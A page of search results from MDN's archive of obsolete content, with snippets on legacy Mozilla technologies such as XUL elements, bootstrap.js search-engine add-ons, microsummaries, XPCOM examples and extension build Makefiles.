iptions containing suggestion urls or separate keyword search urls. note: example uninstall code is only provided for restartless extensions. a separate tutorial exists for running code at uninstall in non-restartless extensions. an example bootstrap.js file illustrating the simple method follows: const { classes: ...
...s. an example bootstrap.js file illustrating the simple method follows: const { classes: cc, interfaces: ci, utils: cu, results: cr } = components; // import the services module. cu.import("resource://gre/modules/services.jsm"); // the details of the engine to add const engine_details = { name: "example engine", iconurl: "data:image/png;base64,...", alias: "example-engine", descr
iption: "an example search engine", method: "get", // the http request method url: "https://www.example.com/?q=_searchterms_" }; // keep track of whether this is the first run. var firstrun = false; // decide whether to select the search engine. var selectsearch = false; function startup(data, reason) { firstrun = reason == addon_install; // re-select the search engine if this is t...
...ddon_install; // re-select the search engine if this is the first run // or we're being re-enabled. selectsearch = firstrun || reason == addon_enable; // only add the engine if it doesn't already exist. ...
...And 3 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known applications that at one point used mozilla technologies or that are no longer being actively maintained. a list of actively maintained mozilla-based applications is also available. ...
...nal information angelsoft tools for startups, vcs, and angel investors switched from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 ep
iphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application ...
...nner app initially but now uses adobe air rift technologies software installation over internet no longer using mozilla technology -- need confirmation and details second life virtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name descr
iption additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last news item on site from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compus...
...And 3 more matches
Creating a Microsummary - Archive of obsolete content
dded will be shown in boldface so you can follow along more easily. note: if you are a web site developer, and you want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages. for example, if you use php scr
ipts to generate pages on your site, you could write php code to output a microsummary when the view=microsummary url parameter is present. then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, i...
...generator> element in the http://www.mozilla.org/microsummaries/0.1 namespace. to begin building the generator, create a new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name attributes which are arbitrary descr
iptions of the microsummaries the generator creates. names should be descr
iptive enough to give users a good idea what information the microsummaries will provide. since our generator will be creating microsummaries displaying the firefox download count, let's give it the name "firefox download count": <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.
...form> </template> </generator> including the download count to include the download count in the output of the xslt transform sheet, we need to add an xslt <value-of> element to the template whose select attribute contains an xpath expression that points to the node containing the count. xpath is a language for identifying nodes in html/xml documents. it also contains basic functions for man
ipulating those nodes and their content. the easiest way to get an xpath expression that points to the node in question is to use the xpath checker extension. install the extension (restarting firefox to complete installation) then go to the spread firefox home page, find the firefox download count (a large number at the bottom of the right-hand column), context click on the number, and select view...
...And 3 more matches
Java in Firefox Extensions - Archive of obsolete content
note: the global java object has been removed in gecko 16.0, so this page is out of date. you should still be able to use the java plugin's scr
ipting functionality, see liveconnect for the pointers. note bug 834918 about click-to-play effect on java plugins in chrome and bug 775301. if you are in need of calling java code from within a firefox extension, you can make use of liveconnect. ...
...een removed in gecko 16.0, so this page is out of date. you should still be able to use the java plugin's scr
ipting functionality, see liveconnect for the pointers. note bug 834918 about click-to-play effect on java plugins in chrome and bug 775301. if you are in need of calling java code from within a firefox extension, you can make use of liveconnect. liveconnect gives your extension's javascr
ipt code (linked from or contained in xul code) access to 2 objects: java and packages (note that per this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions."). ...
...of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions."). these 2 objects let you make use of the standard jdk classes, e.g., var ajavalist = new java.util.linkedlist(); if you want to load your own jars, then you can create your own java class loader. the following technique only works in javascr
ipt code linked from or contained in xul files. if you wish to call java code from within javascr
ipt code that implements some xpcom components, at this time, you need a different technique (refer to the complete java firefox extension). a good reason for calling java from within an xpcom component rather than from xul is to maintain a singleton (some singular java object) across all firefox windows...
...And 3 more matches
Makefile.mozextension.2 - Archive of obsolete content
eithe...
...either remove (clean i...
...g directory failed; it probably exists. either remove (clean it), or choose individual targets to build."; exit 1; } @echo $(mkdir) $(project) $(mkdir) $(project)/content $(project)/locale $(project)/locale/en-us $(project)/components/ $(project)/defaults/ $(project)/defaults/preferences/ $(project)/locale/de-de $(project)/skin make_xpi: $(mkdir) $(project)/chrome && \ cd $(project) && \ $(z
ipprog) -r chrome/$(project).jar content locale skin && \ $(z
ipprog) -r $(project).xpi chrome.manifest install.rdf components defaults chrome && cd .. make_files: chrome.manifest install.rdf overlay.xul overlay.js overlay.dtd $(noecho) $(noop) make_clean: rm -rf $(project) # this may be a bit too old ?! keeping it anyway.. real_install: $(cp) chrome/$(project).jar ~/.mozilla/default/32p2...
...And 3 more matches
Modularization techniques - Archive of obsolete content
warning: the content of this article may be out of date. it was last updated in 2004. introduction the purpose of this document is provide all the information you need to create a new mozilla module or break existing code into a module. the mechanism we're using is based on the princ
iples laid down by com, so pretty much anything you know about com can be applied here, and any reference on com can provide you with more interesting and complex examples than the ones provided here. the basics interfaces the basic building blocks of modules are c++ pure virtual interfaces. a pure virtual interface is simply a class where every method is defined as pure virtual, that is: virtual int foo(int bar) = 0; pure virtual interfaces provide an easy mechanism for passing function tables ...
...registration mechanisms. the first takes a class id and a pointer to a factory. this mechanism can be used on factories that are linked into the executable. the second takes a class id and the path to a dynamically loadable library. this mechanism can be used both inside an executable at run-time and externally using the apersist flag to tell the repository to store the class id/library relationsh
ip in its permenant store. about nsiids and nscids to simplify the process of dynamically finding, loading and binding interfaces, all classes and interfaces are assigned unique ids. the ids are unique 128 bit numbers that are based on uuids. for those who like gory details, their structure is this: struct nsid { pruint32 m0; pruint16 m1, m2; pruint8 m3[8]; }; frequently you see them repr...
...epresented as strings, like this: {221ffe10-ae3c-11d1-b66c-00805f8a2676} to initialize an id struct you declare them like this: id = {0x221ffe10, 0xae3c, 0x11d1, {0xb6, 0x6c, 0x00, 0x80, 0x5f, 0x8a, 0x26, 0x76}}; why the b66c couplet gets broken up and grouped with the last set of bytes is probably a footnote somewhere. on windows you can use the programs uuidgen and guidgen, which sh
ip with visual c++, to generate ids. a simple example it is recommended that you use xpidl to define your interfaces. this sample code should be updated to reflect this, but it gives you a good basic understanding of com from the c++ perspective. file nsisample.h nsisample.h defines an extremely simple interface and its interface id (iid). the important things to notice are that the interface ...
...And 3 more matches
Space Manager Detailed Design - Archive of obsolete content
odule (nor does it need to be). it is not a general purpose class, and is not intended to be subclasses . here is the class declaration, taken from the source file as of 01.08.02 /** * class for dealing with bands of available space. the space manager * defines a coordinate space with an origin at (0, 0) that grows down * and to the right. */ class nsspacemanager { public: nsspacemanager(ns
ipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); void* operator new(size_t asize); void operator delete(void* aptr, size_t asize); static void shutdown(); /* * get the frame that's associated with the space manager. this frame * created the space manager, and the world coordinate space is * relative to this frame. * * you can use queryinterface() on this fram...
... const; /** * returns a band starting at the specified y-offset. the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space of the * local coordinate system. * * the local coordinate space origin, the y-offset, and the max size * describe a rectangle that's used to cl
ip the underlying band of * available space, i.e. * {0, ayoffset, amaxsize.width, amaxsize.height} in the local * coordinate space * * @param ayoffset the y-offset of where the band begins. the coordinate is * relative to the upper-left corner of the local coordinate space * @param amaxsize the size to use to constrain the band data * @param abanddata [in,out...
...spacemanager(const nsspacemanager&); // no implementation void operator=(const nsspacemanager&); // no implementation }; public api life cycle the constructor requires a presentation shell, used for arena allocations mostly, and a frame that this space manager is rooted on. the coordinate space of this space manager is relative to the frame passed in to the constructor. nsspacemanager(ns
ipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); operators 'new' and 'delete' are overridden to support a recycler. space manager instances come and go pretty frequently, and this recycler prevents excessive heap allocations and the performance penalties associated with it. the #define ns_space_manager_cache_size is used to control the number of space manager instances that can be pres...
...And 3 more matches
Running Tamarin acceptance tests - Archive of obsolete content
reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtocommon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ... test run passed! tests complete ...
...c $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/avmshell $ python runtests.py tamarin tests started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as sk
ipping... reason: 2531 running abcasm/adhoc.abs sk
ipping... reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtocommon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ... test run passed! tests complete at 2010-09-28 10:39:26.751797 start date: 2010-09-28...
....abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ... test run passed! tests complete at 2010-09-28 10:39:26.751797 start date: 2010-09-28 10:38:07.221457 end date : 2010-09-28 10:39:26.751797 test time : 0:01:19.530340 passes : 59291 failures : 0 expected failures : 75 tests sk
ipped : 76 the -f flag tells runtests.py to force recompilation of all the scr
ipts. for help on runtests.py options, see below or use python runtests.py -h. notes on using acceptance runtests.py threading in order to speed up the execution time of the acceptance testsuite, the runtests scr
ipt automatically detects the number of cores on the machine and sets an equivalent number of threads. ...
...And 3 more matches
Treehydra Manual - Archive of obsolete content
introduction treehydra is meant to be used for analyses that need more detail than dehydra's flattened asts. instead of representing code in "easy" form like dehydra, treehydra relies on gimple, the gcc internals "middle-end" intermediate representation. treehydra simply reflects the gcc internals structures into javascr
ipt. for now, the best way to learn gimple is to look at existing code as there is little newbie documentation to be had. callbacks and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascr
ipt via callbacks. there are 3 treehydra callbacks. note that the callbacks interact with other treehydra options. to make things easier, we will first present rec
ipes for accessing specific gcc intermediate representations. treeh...
...lbacks and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascr
ipt via callbacks. there are 3 treehydra callbacks. note that the callbacks interact with other treehydra options. to make things easier, we will first present rec
ipes for accessing specific gcc intermediate representations. treehydra provides the following callbacks to analysis scr
ipts: process_tree_decl, process_tree, process_tree_type, and process_cp_pre_genericize. fixme document all these callbacks. c++ asts c++ asts are provided via the process_cp_pre_genericize callback. ...
...by default, this is called just after gcc converts the ast to gimple, before any further lowering or optimization. ...
...And 3 more matches
A XUL Bestiary - Archive of obsolete content
so are such general purpose pieces as boxes and springs. these widgets can be created and placed within a xul file as simple elements: <menu>, <toolbar>, and so on. the syntax for these elements is based for the most part on xml. collectively, these widgets are also known as the xptoolkit. object models: dom and aom the document object model is the representation of a document as a series of scr
iptable objects. when a scr
ipting language like javascr
ipt accesses various parts of an html document, it does so by means of the dom. the parts of the document, such as the head, the links, the body, any tags, are available as nodes whose attributes can be got and set. there are, unfortunately, different document object models corresponding to different types of documents and also to different prop...
... html" or "dhtml." the aom stands for the application object model, and is an extension of the dom up into the interface defined in xul. just as html is reflected in the dom as nodes like link, layer, and img, xul is reflected in the application object model in the hierarchy of xul widgets: browser, menu, menuitem, and so on. the dom and the aom form a kind of continuum, the whole of which is man
ipulable from the standards upon which xul is based. near synonyms for xul there is much confusion about the words that begin with "x" in the mozilla open source project. the mozilla xparchitecture section below describes xpcom, xpidl, and xpconnect, three somewhat related technologies for getting access to application code from the interface. this section describes xul, xptoolkit, and xpfe, which...
...sed language used for creating interfaces, xptoolkit is the set of xul widgets (menus, toolbar, etc.) actually assembed for this purpose -- the building blocks of the interface, as it were -- and xpfe, the cross platform front end, is the front end that has been created from xptoolkit. the differences here are significant: xul is the universe of elements, attributes, syntax, rules, and relationsh
ips, while xptoolkit is really the finite set of interface-specific elements created in xul. the xpfe is what's been created out of the xptoolkit. a loosely analogous relationsh
ip might be that xul, xptoolkit, and xpfe are to one another what html, the actual html tags, and an html web page are to one another, respectively. xul parts people sometimes get confused about the syntax for describing th...
...And 3 more matches
Accessing Files - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. accessing files this section describes how to c...
...er, and so forth. once one of these starting directories is determined, a file reference may be created relative to this. a common case is to write a file in the directory that holds the user's preferences. this is a convenient location where an extension might save a file it needs to use. this directory is referred to as the user's profile directory. ...
...er's preferences. this is a convenient location where an extension might save a file it needs to use. this directory is referred to as the user's profile directory. to get a reference to a file object use nsiscr
iptableio.getfile(). the following example will retrieve a reference to a file named sample.txt located in the profile directory. var file = io.getfile("profile", "sample.txt"); the nsiscr
iptableio object is a global object always available within an application or extension which provides a number of useful functions for dealing with files. one such method it provides is nsiscr
iptableio.getfile() which returns a new nsifile object. the first argument to nsiscr
iptableio.getfile() is the starting directory from which to locate a file. in the example above the word 'profile' is used, w...
...And 3 more matches
OpenClose - Archive of obsolete content
opening menus menus will display themselves automatically when needed without extra work. for instance, a menu's popup will open when the menu label is clicked, and a submenu will open when the mouse is hovered over the parent menu element. however, there may be situations when you wish to open a menu manually. the menu element has an open property which may be set to true to open the menu, or false to close the menu. a simple example: somemenu.open = true; this single line of code will open a menu referenced by the variable 'somemenu'. note that the open property applies to the menu or button, not to the menupopup. ...
... used to perform an action. the user may cancel selecting a command from a menu by pressing the escape key. this will close a single menu, but if this menu has a parent menu, the parent menu will remain open. a user may also cancel selecting from a menu by clicking outside the menu. in this case, not only will that menu close, but all parent menus will close as well. a menu may be closed by a scr
ipt by setting the open property to false, the reverse of what would be done to open the menu. the open property applies to the menu or button, not to the menupopup. somemenu.open = false; this command will close only a single level of menus, so any parent menus will need to be closed with a similar command if desired. however, any child menus of 'somemenu' in the example will be closed, as 'some...
...boards next to control with a menu image) or by pressing shift+f10. for this reason, you should not assume that a user has used the mouse to open the context menu. the openpopup method regardless of the type of popup, you may wish to open the popup programatically. to do this, use the popup's openpopup method. this method may be used for any type of popup, either a menupopup, a panel, or a toolt
ip, including ones that can be opened via other means, for instance, a popup attached via the context attribute. the openpopup method takes six arguments which are used to specify how and where the popup should be positioned. these will be described below. the openpopup method is defined as follows: void openpopup(in domelement anchorelement, in string position, in lo...
...And 3 more matches
Attribute Substitution - Archive of obsolete content
<< previousnext >> so far, attribute replacement in an action body has been used to replace an entire attribute with the value of a variable. however, you may also replace only part of attribute's value, or use mult
iple variables in one attribute. for instance, to include a prefix before a variable value, you can use: <label value="my name is ?name"/> the effect will be that the ?name part of the attribute will be replaced by the value of the variable ?name. ...
...note that variable names must have a space after them as this is how the end of variable is determined. ...
...e used to separate a variable with normal text: <label value="?name" class="?gender^german"/> these last two examples have been setting the class attribute on a label. the effect will be that a label will have either the 'malegerman' or 'femalegerman' class. in a stylesheet, you could set properties for each of these classes such that different values appear differently without having to use mult
iple rules. although not common, you may also wish to insert a question mark or caret into an attribute value. to do this, just use two question marks or two carets in a row. for instance: <label value="what is my name?? my name is ?name"/> in this example, the label might be 'what is my name? my name is jake'. note that a caret only has a special meaning at the end of a variable, thus two in a row...
...And 3 more matches
Static Content - Archive of obsolete content
ment. this content is displayed as is without affecting the generated content from the template. ...
...tos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <tr
iple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <tr
iple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the previous example and this one is that the menulist element has so...
...ach country, and appends a menuitem for each one. one interesting thing about this example is that only one menupopup will be created, even though there are two in the code, one outside the template and another one inside the action body. this demonstrates how the template builder generates content, and the specifics of how this is done become important when dealing with recursive content and mult
iple rules. what's going on here is that the xul parser first creates the outer menulist element. the static content outside the template will also be created. the result will be a xul display that looks just like the code above, except that the template and its content is hidden. at this point, the menulist will have a menupopup as a child, and the menupopup will in turn have one menuitem child. ne...
...And 3 more matches
Creating a Wizard - Archive of obsolete content
reated using the title attribute, much like one would use for regular windows. the navigation buttons are created automatically. ...
...tons are created automatically. ...
...r
iption> this wizard will help you select the type of dog that is best for you." </descr
iption> <label value="why do you want a dog?"/> <menulist> <menupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a best friend"/> </menupopup> </menulist> </wizardpage> <wizardpage descr
iption="dog details"> <label value="provide additional details about the dog you would like:"/> <radiogroup> <caption label="size"/> <radio value="small" label="small"/> <radio value="large" label="large"/> </radiogroup> <radiogroup> <caption label="gender"/> <radio value="male" label="male"/> <radio value="female" label="female"/> </radiogroup...
...And 3 more matches
Introduction to RDF - Archive of obsolete content
alternatively, data in other formats can be used and code written that will read the file and create rdf data from it. ...
...alternatively, data in other formats can be used and code written that will read the file and create rdf data from it. this is how mozilla works when it reads data such as bookmarks, the history or mail messages. mozilla provides datasources for this common data so that you can easily use them. ...
...he fields in an rdf database is a resource, each with a name associated with it. the name is described by a uri. for example, a selection of the fields in the mozilla bookmark list is described by the uris below: name http://home.netscape.com/nc-rdf#name bookmark name url http://home.netscape.com/nc-rdf#url url to link to descr
iption http://home.netscape.com/nc-rdf#descr
iption bookmark descr
iption last visited http://home.netscape.com/web-rdf#lastvisitdate date of last visit these are generated by taking a namespace name and appending the field name. in the next section, we'll look at how we can use these to fill in the field values automatically. note that the last visited...
...And 3 more matches
Keyboard Shortcuts - Archive of obsolete content
label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-command" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey attribute on buttons. when the key is pressed in this case, the button is selected. you might want to set up more general keyboard shortcuts however. for example, pressing ctrl + c to copy text to the cl
ipboard. although shortcuts such as this might not always be valid, they will usually work any time the window is open. usually, a keyboard shortcut will be allowed at any time and you can check to see whether it should do something using a scr
ipt. for example, copying text to the cl
ipboard should only work when some text is selected. key element xul provides an element, key, which lets you define...
...k_b vk_c vk_d vk_e vk_f vk_g vk_h vk_i vk_j vk_k vk_l vk_m vk_n vk_o vk_p vk_q vk_r vk_s vk_t vk_u vk_v vk_w vk_x vk_y vk_z vk_numpad0 vk_numpad1 vk_numpad2 vk_numpad3 vk_numpad4 vk_numpad5 vk_numpad6 vk_numpad7 vk_numpad8 vk_numpad9 vk_mult
iply vk_add vk_separator vk_subtract vk_decimal vk_divide vk_f1 vk_f2 vk_f3 vk_f4 vk_f5 vk_f6 vk_f7 vk_f8 vk_f9 vk_f10 vk_f11 vk_f12 vk_f13 vk_f14 vk_f15 vk_f16 vk_f17 vk_f18 vk_f19 vk_f20 vk_f21 vk_f22 vk_f23 vk_f24 vk_num_lock vk_scroll_lock vk_comma vk...
...d planning faq and cross reference for more information about selecting keyboard shortcuts to use in applications. using the keyboard shortcuts now that we know how to define keyboard shortcuts, we'll find out how we can use them. there are two ways. the first way is the simplest and just requires that you use the command event handler on the key element. when the user presses the key, the scr
ipt will be invoked. an example is shown below: <keyset> <key id="copy-key" modifiers="accel" key="c" oncommand="docopy();"/> </keyset> the function docopy will be called when the user presses the keys specified by the key element, which in this example, are the keys for copying to the cl
ipboard (such as control + c). this will work as long as the window is open. the docopy function should chec...
...And 3 more matches
More Event Handlers - Archive of obsolete content
in the addeventlistener form, the first argument passed to the listener function will be the event object. other arguments can be passed to a listener function, if required. ...
...bubbling listeners. if a capturing event stops the event propagation, none of the later capturing listeners, nor any of the bubbling listeners will ever receive notification about the events. to manually stop event propagation, call the event object's stoppropagation method, as in the following example. ...
...the stoppropagation method has been called in the box's listener, so the button's listener never gets called. if this call was removed, both listeners would be called and both alerts would appear. ...
...And 3 more matches
Splitters - Archive of obsolete content
utes are as follows: id the unique identifier of the splitter. state indicates the state of the splitter. set this to open, the default, to have the split panel initially open, or set it to collapsed to have one of the panels shrunk down (collapsed) and the other occupying all of the space. collapse this indicates which side of the panel should collapse when the splitter notch (or gr
ippy) is clicked or set into a collapsed state. set this to before for the element before the splitter, or after for the element after the splitter. if you set this to none, which is also the default, the splitter gr
ippy does not collapse when clicked. resizebefore when the splitter is dragged, the elements to the left (or above) resize. this attribute indicates which element should resize. set...
...rthest to have the element that is the farthest away from the splitter to the right resize. (the last element in the box). this attribute can also be set to grow, in which case the elements to the right of the splitter do not change size when the splitter is dragged, but instead the entire box changes size. the default value is closest. if you set the collapse attribute, you should also add a gr
ippy element inside the splitter which the user can use to collapse the element. the width and height attributes of the elements next the splitter are adjusted when the splitter is dragged. the exact element depends on the resizebefore and resizeafter attributes. splitter example an example would be helpful here: example 1 : source view <hbox flex="1"> <iframe id="content-1" width="60" height...
... width and height attributes of the elements next the splitter are adjusted when the splitter is dragged. the exact element depends on the resizebefore and resizeafter attributes. splitter example an example would be helpful here: example 1 : source view <hbox flex="1"> <iframe id="content-1" width="60" height="20" src="w1.html"/> <splitter collapse="before" resizeafter="farthest"> <gr
ippy/> </splitter> <iframe id="content-2" width="60" height="20" src="w2.html"/> <iframe id="content-3" width="60" height="20" src="w3.html"/> <iframe id="content-4" width="60" height="20" src="w4.html"/> </hbox> here, four iframes have been created and a splitter has been placed in-between the first and second one. the collapse has been set to a value of before, meaning that if the spli...
...And 3 more matches
Tree Box Objects - Archive of obsolete content
ll redraw a specific row in the tree. the tree will call the view to get the updated data and update the contents of the tree on screen. other redrawing functions are invalidatecell() to redraw only a single cell invalidatecolumn() to redraw a column invalidaterange() to redraw a range of rows invalidate() to redraw the entire tree. note that redrawing does not occur until the calling scr
ipt ends since mozilla does not redraw in the background. note: it is not necessary to run tree.boxobject.queryinterface(components.interfaces.nsitreeboxobject) as shown in the code examples on this page because: let boxobject = tree.treeboxobject; note: is equivalent to: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); scrolling the tree yo...
...t = tree.treeboxobject; note: is equivalent to: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); scrolling the tree you can also scroll the tree using four different methods, similar to those available for listboxes. the scrolltorow() function may be used to scroll to a particular row. here is a simple example. ...
...es. the scrolltorow() function may be used to scroll to a particular row. here is a simple example. ...
...And 3 more matches
XPCOM Examples - Archive of obsolete content
creating a window menu the list of currently open mozilla windows can be used as an rdf datasource. this allows you to create a window menu with a list of the currently open windows in the application. the datasource for this is rdf:window-mediator. ...
...do this: <toolbox> <menubar id="windowlist-menubar"> <menu label="window" oncommand="switchfocus(event.target);"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> <scr
ipt> function switchfocus(elem) { var mediator = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getservice(); mediator.queryinterface(components.interfaces.nsiwindowdatasource); var resource = elem.getattribute('id'); switchwindow = mediator.getwindowforresource(resource); if (switchwindow){ switchwindow.focus(); } } </scr
ipt> a command handler was added ...
...enu. the function switchfocus(): first gets a reference to a component which implements the window mediator interface. next, we get the id attribute for the element. we can use the value of the id attribute as the resource. the function getwindowforresource() takes the resource and returns a window that matches it. this window, stored in the switchwindow variable, is the same as the javascr
ipt window object. this means that you can call any of the functions provided by it, one of which is the focus() function. cookies next, we will get a list of cookies that have been saved in the browser. the cookie service can be used for such a purpose. it implements the nsicookiemanager interface which can be used to enumerate over all of the cookies. here is an example which populates a menu l...
...And 3 more matches
XUL Reference - Archive of obsolete content
<< xul reference << alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck descr
iption dialog dialogheader dropmarker editor grid gr
ippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
...key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale scr
ipt scrollbar scrollbox scrollcorner separator spacer spinbuttons splitter stack statusbar statusbarpanel stringbundle stringbundleset tab tabbrowser (firefox-only starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargr
ippy ...
...sbarpanel stringbundle stringbundleset tab tabbrowser (firefox-only starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargr
ippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox toolt
ip tree treecell treechildren treecol treecols treeitem treerow treeseparator tr
iple vbox where window wizard wizardpage categorical list of all xul elements << xul reference << windows window wizard wizardpage titlebar window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargr
ippy toolbaritem toolbarpallete toolbarseperator...
...And 3 more matches
XML - Archive of obsolete content
what does xul have to do with xml? this article describes the relationsh
ip of xul to xml, its parent language. xul syntax & rules xul is a standards-based interface definition language. it attempts to balance precise control of layout with flexibility and ease of use, and in this respect it does a great job. using a combination of xul's ready-made widgets (e.g., menubar, scrollbar, progressmeter, and so on) and xul's incorporation of such standards as html4, dom1/2, and cascading stylesheets, you can design any interface that you can imagine, using any number of different features, tools, and methodologies. there are many times, for example, when you may use javascr
ipt tricks to add extra behavior. but the necessary tradeoff for xul's flexibility is a lack of implicit functionality -- the...
...preting what it is you want. in order to provide flexibility to you as adesigner of interfaces, xul offers no flexibility to you as acoder. you must be very careful about your syntax, and in particular about these four cardinal rules of xul: all events and attributes must be written in lowercase. unlike html, xul is very sensitive to case. all of the events and attributes -- even the javascr
ipt event listeners normally formatted in the javascr
ipt world with uppercase verbs (e.g., onclick, onload) -- must be lowercase or they are invalid. all strings must be double quoted. all of the values for all of the attributes declared in xul are strings. when an attribute is assigned a value (e.g., flex="1" or "onload='dointerestingstartupthing()'") that value must be double-quoted. every...
...guages out of xml. mathml and the chemical markup language (cml) are two of the better-known and more widely-used languages, but there are hundreds. information developers create languages particular to their applications, any time they need a very specific way to represent the structure of some data. when we say language, we mean that developers create a set of terms, orlexicon, and a relationsh
ip between these terms, or what some people call agrammar. then they insist that their authors use the language to describe the thing it has been created for. those authors may be people or machines, but they must use the new language if the readers are to understand what sort of data it is they are reading. it's much simpler than it seems -- much simpler, in fact, than a lot of xml primers and refe...
...And 3 more matches
iframe - Archive of obsolete content
default is false. src type: uri the uri of the content to appear in ...
...default is false. ...
...iner element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the princ
ipal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. content-primary...
...And 3 more matches
listbox - Archive of obsolete content
there are numerous methods which allow the items in the listbox to be retrieved and modified. you may specify the number of rows to display in the list using the rows attribute. additional rows can be viewed using a scroll bar. a listbox is expected to contain listitem elements. ...
...references system article. rows type: integer the number of rows to display in the element. if the element contains more than this number of rows, a scrollbar will appear which the user can use to scroll to the other rows. to get the actual number of rows in the element, use the getrowcount method. seltype type: one of the values below used to indicate whether mult
iple selection is allowed. single only one row may be selected at a time. (default in listbox and richlistbox.) mult
iple mult
iple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary colum...
...r fired. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. value type: string the string attribute allows you to associate a data value with an element. it is not used for any specific purpose, but you can access it with a scr
ipt for your own use. be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and fu...
...And 3 more matches
menupopup - Archive of obsolete content
